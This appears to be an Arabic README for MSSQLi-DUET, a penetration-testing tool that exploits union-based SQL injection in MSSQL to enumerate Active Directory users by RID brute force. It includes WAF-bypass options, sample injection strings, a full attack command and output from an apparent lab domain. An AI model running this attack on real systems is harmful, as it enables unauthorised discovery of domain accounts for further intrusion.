
نص برمجي لحقن SQL لـ MSSQL يستخرج مستخدمي المجال من بيئة Active Directory بناءً على تخمين RID
نص برمجي لحقن SQL في MSSQL يستخرج المستخدمين في المجال من بيئة Active Directory بناءً على تجربة القوة الغاشمة لـ RID. يدعم أشكالاً متعددة من تقنيات تجاوز جدار الحماية (WAF) من خلال تنفيذ دوال العبث (tamper) الخاصة بـ SQLmap. يمكن للمستخدم إضافة دوال عبث إضافية حسب الموقف والبيئة.
يتوفر بنسختين: نص برمجي بايثون مباشر للاستخدام في الطرفية، أو إضافة لـ Burp Suite للتنقل عبر واجهة رسومية بسيطة.
يدعم حالياً فقط حقن الاستعلامات الموحدة (union-based injection). هناك حاجة لمزيد من النماذج وحالات الاختبار لاختبار وظائف الأداة ودقتها بشكل كامل. نرحب كثيراً بالملاحظات والتعليقات إذا واجهت حالة لا تعمل فيها الأداة.
كما أن تخصيص النص البرمجي والإضافة حسب احتياجاتك ليس بالأمر الصعب. تأكد من قراءة قسم الملاحظات لبعض استكشاف الأخطاء.
بعد تحميل الإضافة في Burp Suite، انقر بزر الماوس الأيمن على طلب وأرسله إلى MSSQLi-DUET. مزيد من التفاصيل حول المعاملات وغيرها موصوفة أدناه.
سيتم ملء الطلب في نافذة الطلب، ويجب ملء الحقول الموجودة فوقه فقط. بعد الضغط على تشغيل، سيتم وضع المخرجات في مربع نتائج المخرجات لسهولة النسخ واللصق.
python3 mssqli-duet.py -h
usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid
RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]
[-o OUTFILE] -r REQUEST_FILE
MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool
optional arguments:
-h, --help show this help message and exit
-i INJECTION, --injection INJECTION
Injection point. Provide only the data needed to
escape the query.
-e ENCODING, --encoding ENCODING
Type of encoding: unicode, doubleencode, unmagicquotes
-t TIME_DELAY, --time_delay TIME_DELAY
Time delay for requests.
-rid RID_RANGE, --rid_range RID_RANGE
Hypenated range of RIDs to bruteforce. Ex: 1000-1200
-ssl SSL, --ssl SSL Add flag for HTTPS
-p PARAMETER, --parameter PARAMETER
Vulnerable parameter
-proxy PROXY, --proxy PROXY
Proxy connection string. Ex: 127.0.0.1:8080
-o OUTFILE, --outfile OUTFILE
Outfile for username enumeration results.
-r REQUEST_FILE, --request_file REQUEST_FILE
Raw request file saved from Burp
Prepare to be enumerated!
بعد تحديد حقن SQL من نوع union في تطبيق، انسخ الطلب الخام من Burp Suite باستخدام ميزة 'نسخ إلى ملف'.
مرر الطلب المحفوظ إلى DUET باستخدام العلامة -r. حدد المعامل الضعيف وكذلك نقطة الحقن. كمثال، إذا كان المعامل 'element' عرضة لحقن SQL، فسيكون -p هو 'element'. سيبني DUET جميع استعلامات حقن SQL تلقائياً، ولكن يجب توفير مواصفات الحقن الأولي. أي، إذا حدث الحقن بسبب فاصلة عليا واحدة بعد بيانات المعامل، فهذا ما سيتم تحديده للوسيطة -i.
Ex: test'
test'))
test')"
python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080
[+] Collected request data:
Target URL = http://192.168.11.22/search2.php?element=carbon
Method = GET
Content-Type = applcation/x-www-form-urlencoded
[+] Determining the number of columns in the table...
[!] Number of columns is 3
[+] Determining column type...
[!] Column type is null
[+] Discovering domain name...
[+] Domain = NEUTRINO
[+] Discovering domain SID...
S-1-5-21-4142252318-1896537706-4233180933-
[+] Enumerating Active Directory via SIDs...
NEUTRINO\HYDROGENDC01$
NEUTRINO\DnsAdmins
NEUTRINO\DnsUpdateProxy
NEUTRINO\HELIUM$
NEUTRINO\BORON$
NEUTRINO\BERYLLIUM$
NEUTRINO\aeinstein
NEUTRINO\bbobberson
NEUTRINO\csagan
NEUTRINO\ccheese
NEUTRINO\svc_web
NEUTRINO\svc_sql
قد يحتاج النص البرمجي إلى تعديل اعتماداً على قيود التحويل (casting) والنوع للأعمدة التي يتم اكتشافها. يشمل ذلك تعديلات لتبديل موضع العمود للحمولة، وأيضاً تعديل سلاسل الاستعلام نفسها لمراعاة أنواع الأعمدة التي لن تولد أخطاء.
بالإضافة إلى ذلك، فإن منطق تحديد عدد الأعمدة ليس الأفضل حالياً، وقد تحتاج بعض المقارنات إلى التعليق لضمان التحديد الصحيح.
بشكل عام، ما عليك سوى إلقاء نظرة على الطلبات المرسلة في Burp وتخصيص النص البرمجي حسب الحاجة لبيئة حقن SQL التي تجد نفسك فيها.